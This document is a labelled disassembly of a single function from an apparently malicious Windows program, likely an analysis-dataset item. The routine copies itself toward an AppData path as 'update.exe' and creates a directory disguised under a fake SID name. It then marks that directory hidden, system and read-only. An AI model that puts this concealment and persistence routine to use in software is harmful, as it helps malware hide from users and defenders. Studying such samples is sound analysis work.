Function at 0x402d10
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
sub esp, 0xc7c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xc78], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa82]
push ecx
mov word [esp + 0xa84], ax
call fcn.00403b40
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x67e]
push eax
mov word [esp + 0x680], dx
call fcn.00403b40
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x482]
push edx
mov word [esp + 0x484], cx
call fcn.00403b40
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x286]
push ecx
mov word [esp + 0x288], ax
call fcn.00403b40
push 0x208
lea edx, [esp + 0x8a4]
push 0
push edx
call fcn.00403b40
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add esp, 0x3c
push 0
push 0x1c
lea eax, [esp + 0x878]
push eax
push 0
call edi
lea eax, [esp + 0x870]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402dd1
mov ecx, dword [str._start]
mov edx, dword [0x40d4d8]
mov dword [eax], ecx
mov ecx, dword [0x40d4dc]
mov dword [eax + 4], edx
mov dx, word [0x40d4e0]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0x870]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402e10
mov ecx, dword [str.update.exe]
mov edx, dword [0x40d398]
mov dword [eax], ecx
mov ecx, dword [0x40d39c]
mov dword [eax + 4], edx
mov edx, dword [0x40d3a0]
mov dword [eax + 8], ecx
mov ecx, dword [0x40d3a4]
mov dword [eax + 0xc], edx
mov edx, dword [0x40d3a8]
mov dword [eax + 0x10], ecx
push 0x208
mov dword [eax + 0x14], edx
lea eax, [esp + 0xa7c]
push 0
push eax
call fcn.00403b40
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add esp, 0xc
push 0x104
lea ecx, [esp + 0xa7c]
push ecx
push 0
call esi
lea ecx, [esp + 0xa78]
lea eax, [esp + 0x870]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402eb6
test dx, dx
je 0x402eb2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402eb6
add eax, 4
add ecx, 4
test dx, dx
jne 0x402e90
xor eax, eax
jmp 0x402ebb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4030ae
push 0x208
lea edx, [esp + 0x66c]
push 0
push edx
call fcn.00403b40
push 0x208
lea eax, [esp + 0x470]
push 0
push eax
call fcn.00403b40
push 0x208
lea ecx, [esp + 0x274]
push 0
push ecx
call fcn.00403b40
add esp, 0x24
push 0x104
lea edx, [esp + 0x25c]
push edx
push 0
call esi
lea eax, [esp + 0x258]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402f20
sub eax, edx
sar eax, 1
xor ecx, ecx
mov word [esp + eax*2 + 0x250], cx
xor eax, eax
jmp 0x402f40
movzx ecx, word [esp + eax + 0x258]
mov word [esp + eax + 0x668], cx
add eax, 2
test cx, cx
jne 0x402f40
push ebx
lea edx, [esp + 0x66c]
push 0x5c
push edx
call fcn.00403d34
add esp, 8
push 0
mov ebx, eax
push 0x1c
lea eax, [esp + 0x46c]
push eax
push 0
add ebx, 2
call edi
lea edi, [esp + 0x464]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402f90
mov eax, ebx
mov ecx, 0x1d
mov esi, str.S_1_5_31_1286970278978_5713669491_166975984_320Rotinom_
rep movsd dword es:[edi], dword [esi]
mov edx, eax
pop ebx
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402fb0
lea edi, [esp + 0x460]
sub eax, edx
add edi, 0xfffffffe
jmp 0x402fd0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x402fd0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov edi, edi
movzx ecx, word [esp + eax + 0x258]
mov word [esp + eax + 0x668], cx
add eax, 2
test cx, cx
jne 0x402ff0
lea edi, [esp + 0x258]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403012
mov ecx, dword [0x40d280]
mov dword [edi], ecx
lea edi, [esp + 0x460]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x403030
mov dword [edi], ecx
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x66c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x4030a9
push 0
lea eax, [esp + 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x403081
pop edi
pop esi
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.00403b30
add esp, 0xc7c
ret
push 7
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [esp + 0x258]
push edx
lea eax, [esp + 0x464]
push eax
call fcn.00402060
add esp, 8
call fcn.00402130
mov ecx, dword [esp + 0xc80]
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.00403b30
add esp, 0xc7c
ret